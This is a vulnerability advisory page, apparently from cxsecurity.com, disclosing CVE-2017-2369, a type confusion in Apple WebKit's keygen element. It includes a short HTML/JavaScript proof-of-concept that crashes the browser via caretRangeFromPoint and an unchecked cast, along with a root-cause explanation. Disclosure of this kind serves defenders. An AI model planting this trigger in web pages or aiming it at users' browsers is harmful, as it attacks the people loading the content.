Apple WebKit HTMLKeygenElement Type Confusion

2017.02.01
Credit: ifratric
Risk: High
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

Apple WebKit: Type confusion in HTMLKeygenElement CVE-2017-2369 PoC: <keygen id="keygen_element" style="position:absolute; height: 100px; width: 100px;"> <script> var range = document.caretRangeFromPoint(50, 50); var shadow_tree_container = range.commonAncestorContainer; shadow_tree_container.prepend("foo"); keygen_element.disabled = true; </script> What happens here: 1. caretRangeFromPoint() allows accessing (and modifying) userAgentShadowRoot from JavaScript 2. HTMLKeygenElement::shadowSelect() blindly casts the first child of the userAgentShadowRoot to HTMLSelectElement without checking the Node type. This bug is subject to a 90 day disclosure deadline. If 90 days elapse without a broadly available patch, then the bug report will automatically become visible to the public. Found by: ifratric


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top